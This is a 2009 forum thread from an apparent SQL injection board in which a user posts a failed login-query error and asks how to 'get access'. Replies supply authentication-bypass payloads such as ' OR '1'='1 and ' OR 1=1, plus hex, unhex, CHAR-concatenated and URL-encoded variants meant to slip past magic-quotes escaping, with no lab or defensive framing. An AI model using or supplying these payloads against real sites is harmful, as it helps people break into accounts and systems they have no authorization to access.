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IT Security and Insecurity Portal |
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Please help with this |
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 Posted: Thu Aug 13, 2009 10:24 am |
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| shyspy |
| Advanced user |
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| Joined: Jun 08, 2009 |
| Posts: 60 |
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I am getting this error.
Parse error in query SELECT COUNT(USER_INFO_ID) FROM USER_INFO WHERE USER_INFO_EMAIL = 'a@b.com' AND USER_INFO_PASSWORD = '\'' OR \''1\''=\''1' AND USER_INFO_ACTIVATION_FLAG = 'Y' AND USER_INFO_BLOCK_FLAG <> 'Y'
Connection is Resource id #4
anyway to get access? |
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Re: Please help with this |
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| Posted: Fri Aug 14, 2009 12:23 am |
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| gibbocool |
| Advanced user |
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| Joined: Jan 22, 2008 |
| Posts: 208 |
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| shyspy wrote: | I am getting this error.
Parse error in query SELECT COUNT(USER_INFO_ID) FROM USER_INFO WHERE USER_INFO_EMAIL = 'a@b.com' AND USER_INFO_PASSWORD = '\'' OR \''1\''=\''1' AND USER_INFO_ACTIVATION_FLAG = 'Y' AND USER_INFO_BLOCK_FLAG <> 'Y'
Connection is Resource id #4
anyway to get access? |
Well what you want to have is:
USER_INFO_PASSWORD = '' OR '1'='1'
I'm guessing your currently trying:
\'' OR \''1\''=\''1
Try these:
' OR '1'='1
' OR 1=1
\'' OR '\'1\''='\'1\' |
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| Posted: Fri Aug 14, 2009 5:28 am |
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| tehhunter |
| Valuable expert |
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| Joined: Nov 19, 2008 |
| Posts: 261 |
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Odds are that this ^^ isn't going to work if magic quotes is enabled. basically you have a couple things to try otherwise you're out of luck. Also, you are using the incorrect number of quotes, so even if the server wasn't adding slashes you'd still get a formatting error.
Go the top of this page and to the SQL char encoder. Type whatever you like in there, in your case ' OR ''=' and try to use the results as such: | Code: | page.php?param=0x27204f522027273d27
page.php?param=unhex(27204f522027273d27)
page.php?param=CONCAT(CHAR(39),CHAR(32),CHAR(79),CHAR(82),CHAR(32),CHAR(39),CHAR(39),CHAR(61),CHAR(39))
page.php?param=%27%20OR%20%27%27%3D%27 |
If none of these work you are probably out of luck and should for an exploit elsewhere. |
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www.waraxe.us Forum Index -> Sql injection
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